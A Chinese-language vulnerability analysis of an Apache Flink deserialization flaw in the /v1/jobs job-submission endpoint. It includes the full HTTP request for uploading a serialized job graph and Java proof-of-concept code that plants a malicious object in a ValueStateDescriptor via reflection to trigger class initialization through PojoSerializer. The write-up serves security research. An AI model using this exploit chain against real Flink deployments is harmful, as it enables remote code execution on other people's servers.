Apache Flink反序列化漏洞分析 |

0x01 漏洞入口

实际上漏洞入口在 JobSubmitHandler 当中，orich1 师傅在《Apache Flink 多个漏洞分析》这篇文章也提及了，具体路由也是 /v1/jobs ，但是这里具体看看参数怎么入参的，实际上可以看到下图中request.getUploadedFiles()获取request请求中的文件内容，然后调用 loadJobGraph 方法进行下一步处理。

在 loadJobGraph 方法当中，可以看到 getPathAndAssertUpload 方法根据requestBody.jobGraphFileName方法当中参数，获取当前上传文件的路径，然后调用java的 ObjectInputStream 获取数据传入，紧接的就是反序列化入口了。

先看看requestBody.jobGraphFileName，实际上这里是做了json的注释，所以怎么入参，实际上有个理解了，在一个POST请求当中，先上传序列化文件，然后调用json格式，例如{"jobGraphFileName":"2.graph"}，获取上传文件，然后执行反序列化。

所以post 包如下所示：

POST /v1/jobs HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 3596
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="file_0"; filename="2.graph"
payload.ser
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="request"
{"jobGraphFileName":"2.graph"}
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

0x02 序列化构造

根据 orich1 师傅的文章：

PojoSerializer，其 deserialize 函数会调用class.forname，且第二参数为 true （会执行类初始化，调用 static 代码块）

要如何构造的关键点实际上是 StateDescriptor#readObject 当中。

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
boolean hasDefaultValue = in.readBoolean();
if (hasDefaultValue) {
TypeSerializer<T> serializer = (TypeSerializer)this.serializerAtomicReference.get();
...
try {
this.defaultValue = serializer.deserialize(inView);

实际上在这里，我们可以把serializer.deserialize的 serializer 通过一定的方法修改成 PojoSerializer 就能达到我们的目的。

serializer 对象是通过下图中的代码获取得到的。

TypeSerializer<T> serializer = (TypeSerializer)this.serializerAtomicReference.get();

而实际上 serializerAtomicReference 实际上是在 StateDescriptor 通过实例化 AtomicReference 对象，并调用这个对象中的get方法获取当前的序列化对象，所以我们可以逆向思维，构造的时候直接实际例化这个对象，利用反射放入 PojoSerializer 即可。

public abstract class StateDescriptor<S extends State, T> implements Serializable {
private static final Logger LOG = LoggerFactory.getLogger(StateDescriptor.class);
private static final long serialVersionUID = 1L;
protected final String name;
private final AtomicReference<TypeSerializer<T>> serializerAtomicReference = new AtomicReference();

所以这部分POC：

AtomicReference<TypeSerializer> atomicReference = new AtomicReference<TypeSerializer>();
PojoSerializer pojoSerializer = new PojoSerializer(Object.class, new TypeSerializer[0], new Field[0], new ExecutionConfig());
atomicReference.set(pojoSerializer);

我们在玩下看 ValueStateDescriptor 是继承 StateDescriptor 对象，而 StateDescriptor 对象是一个可被序列化的对象，所以这里 ValueStateDescriptor 也是一个可被序列化的对象。

在 ValueStateDescriptor 当中有这个一个构造方法，需要传入 typeSerializer 和 defaultValue

public ValueStateDescriptor(String name, TypeSerializer<T> typeSerializer, T defaultValue) {
super(name, typeSerializer, defaultValue);
}

而 typeSerializer 和 defaultValue 在 StateDescriptor 类（也就是 ValueStateDescriptor 的父类），当中对应的属性是 serializerAtomicReference 和 defaultValue 。

protected StateDescriptor(String name, TypeSerializer<T> serializer, @Nullable T defaultValue) {
this.ttlConfig = StateTtlConfig.DISABLED;
this.name = (String)Preconditions.checkNotNull(name, "name must not be null");
this.serializerAtomicReference.set(Preconditions.checkNotNull(serializer, "serializer must not be null"));
this.defaultValue = defaultValue;

所以需要分别反射修改，这里要注意 defaultValue 这里我们把恶意对象放进去了。

ValueStateDescriptor valueStateDescriptor = Exp1.createWithoutConstructor(ValueStateDescriptor.class);
Field field = StateDescriptor.class.getDeclaredField("defaultValue");
field.setAccessible(true);
field.set(valueStateDescriptor, new EvalClass());
field = StateDescriptor.class.getDeclaredField("serializerAtomicReference");
field.setAccessible(true);
field.set(valueStateDescriptor, atomicReference);

这里有几个细节，首先 ValueStateDescriptor 为啥要无参构造，而不是直接构造，原因在于 StateDescriptor 方法当中实力化对象需要有些 checknotnull 的检查，这样构造比较方便。